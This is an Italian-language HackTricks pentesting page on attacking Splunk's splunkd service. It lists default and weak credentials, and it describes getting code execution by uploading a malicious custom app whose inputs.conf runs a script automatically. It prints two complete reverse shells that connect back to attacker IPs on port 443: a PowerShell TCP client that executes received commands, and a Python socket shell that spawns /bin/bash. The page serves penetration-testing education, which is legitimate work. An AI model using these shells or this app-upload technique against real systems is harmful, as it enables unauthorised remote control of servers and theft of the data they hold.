8089 - Pentesting Splunkd
Reading time: 4 minutes
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Informazioni di Base
- Strumento di analisi dei log utilizzato per la raccolta, analisi e visualizzazione dei dati
- Comunemente usato nel monitoraggio della sicurezza e nell'analisi aziendale
- Porte predefinite:
- Server web: 8000
- Servizio Splunkd: 8089
Vettori di Vulnerabilità:
- Sfruttamento della Versione Gratuita
- La versione di prova si converte automaticamente in versione gratuita dopo 60 giorni
- La versione gratuita manca di autenticazione
- Potenziale rischio per la sicurezza se lasciata non gestita
- Gli amministratori potrebbero trascurare le implicazioni di sicurezza
- Debolezze delle Credenziali
- Versioni più vecchie: Credenziali predefinite
admin:changeme
- Versioni più recenti: Credenziali impostate durante l'installazione
- Potenziale utilizzo di password deboli (es.
admin
,Welcome
,Password123
)
- Opportunità di Esecuzione Remota di Codice
- Molti metodi di esecuzione del codice:
- Applicazioni Django lato server
- Endpoint REST
- Input scriptati
- Script di allerta
- Supporto multipiattaforma (Windows/Linux)
- Gli input scriptati possono eseguire:
- Script Bash
- Script PowerShell
- Script Batch
Potenziale di Sfruttamento Chiave:
- Archiviazione di dati sensibili
- Mancanza di autenticazione nella versione gratuita
- Molti vettori per potenziale esecuzione remota di codice
- Possibilità di sfruttare input scriptati per compromettere il sistema
Shodan
Splunk build
RCE
Crea Applicazione Personalizzata
Splunk offre un metodo sofisticato per l'esecuzione remota di codice attraverso il deployment di applicazioni personalizzate, sfruttando le sue capacità di scripting multipiattaforma. La tecnica di sfruttamento principale ruota attorno alla creazione di un'applicazione malevola che può eseguire reverse shell su sistemi sia Windows che Linux.
Un'applicazione personalizzata può eseguire script Python, Batch, Bash o PowerShell. Inoltre, Splunk viene fornito con Python installato, quindi anche nei sistemi Windows sarà possibile eseguire codice python.
Puoi utilizzare questo esempio con il bin
contenente un esempio per Python e PowerShell. Oppure potresti creare il tuo.
Il processo di sfruttamento segue una metodologia coerente attraverso le piattaforme:
splunk_shell/
├── bin (reverse shell scripts)
└── default (inputs.conf configuration)
Il file di configurazione critico inputs.conf
abilita lo script tramite:
- Impostando
disabled = 0
- Configurando un intervallo di esecuzione di 10 secondi
- Definendo il tipo di sorgente dello script
Il deployment è semplice:
- Crea il pacchetto dell'applicazione malevola
- Configura un listener (Netcat/socat) sulla macchina attaccante
- Carica l'applicazione tramite l'interfaccia di Splunk
- Attiva l'esecuzione automatica dello script al momento del caricamento
Esempio di reverse shell di Windows PowerShell:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
Esempio di reverse shell Python su Linux:
import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')
RCE e Escalatione dei Privilegi
Nella pagina seguente puoi trovare una spiegazione su come questo servizio può essere abusato per escalare i privilegi e ottenere persistenza:
{{#ref}} ../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md {{#endref}}
Riferimenti
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.